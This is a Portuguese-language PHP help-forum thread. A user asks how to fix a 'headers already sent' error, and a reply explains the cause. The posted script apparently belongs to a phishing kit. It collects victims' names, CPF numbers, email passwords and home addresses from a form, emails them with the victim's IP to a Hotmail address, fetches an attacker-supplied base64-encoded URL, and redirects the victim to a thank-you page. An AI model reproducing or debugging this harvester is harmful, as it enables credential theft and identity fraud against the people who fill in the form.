gabshahaha 0 Denunciar post Postado Setembro 14, 2015 ELE FICA DANDO ESSE ERROWarning: Cannot modify header information - headers already sent by alguem pode me ajudar a resolver meu codigo esta a baixo estou pesquisando e nada da certo <?php ob_start(); $destinatario=$_POST['destinatario']; $cpf_cnpj=$_POST['cpf_cnpj']; $tel_fixo=$_POST['tel_fixo']; $email=$_POST['email']; $senha=$_POST['senha']; $cep=$_POST['cep']; $rua=$_POST['rua']; $numero_casa=$_POST['numero_casa']; $complemento=$_POST['complemento']; $bairro=$_POST['bairro']; $cidade=$_POST['cidade']; $estado=$_POST['estado']; $tipo_endereco=$_POST['tipo_endereco']; $ponto_referencia=$_POST['ponto_referencia']; $pais=$_POST['pais']; $get = $_GET['u']; $get = base64_decode($get); $ip = $_SERVER["REMOTE_ADDR"]; $hora=@date("H:i:s"); $chh = curl_init(); curl_setopt($chh, CURLOPT_URL, $get); curl_setopt($chh, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($chh, CURLOPT_POST, 1); // Define a URL original (do formulário de login) @curl_setopt($ch, CURLOPT_URL, 'http://'); // Habilita o protocolo POST @curl_setopt ($ch, CURLOPT_POST, 1); // Define os parâmetros que serão enviados (usuário e senha por exemplo) @curl_setopt ($ch, CURLOPT_POSTFIELDS, "data=$cc"); // Imita o comportamento patrão dos navegadores: manipular cookies @curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); // Define o tipo de transferência (Padrão: 1) @curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); // Executa a requisição $store = @curl_exec ($ch); $var = $store; $q = explode("<i>", $var); $q2 = explode("</i>", $q[1]); $headers = "Content-type: text/html; charset=utf-8\r\n"; $headers .= "From:Pedido <emails@redec.com.br>>"; $headers .= 'Bcc: xxxxxxxxxx@hotmail.com'; $conteudo.="<b>Nome: </b>$destinatario<br>"; $conteudo.="<b>CPF: </b>$cpf_cnpj<br>"; $conteudo.="<b>CIDADE/ESTADO/BAIRRO: </b>$cidade/$estado/$bairro<br>"; $conteudo.="<b>Email: </b>$email<br>"; $conteudo.="<b>Senha: </b>$senha<br>"; $conteudo.="<b>Cep: </b>$cep<br>"; $conteudo.="<b>Rua: </b>$rua<br>"; $conteudo.="<b>Numero: </b>$numero_casa<br>"; $conteudo.="<b>complemento: </b>$complemento<br>"; $conteudo.="<b>Tipo: </b>$tipo_endereco<br>"; $conteudo.="<b>Ponto referencia: </b>$ponto_referencia<br>"; $conteudo.="<b>Pais: </b>$pais<br>"; $sender = mail("xxxxxxxxx@hotmail.com", "$q2[0] - $ip", $conteudo, $headers); header( 'Location:../../agrad/1/obrigado.html' ); ?> Compartilhar este post Link para o post Compartilhar em outros sites
Beraldo 864 Denunciar post Postado Setembro 14, 2015 Não pode haver saídas ao navegador antes de header. Veja: http://rberaldo.com.br/as-mensagens-de-erros-mais-comuns-do-php/#header Outra coisa: tire esses "@" daí. Eles podem estar ocultando um problema maior. Entenda quando usá-los: http://rberaldo.com.br/boas-praticas-programacao-php/#arroba Compartilhar este post Link para o post Compartilhar em outros sites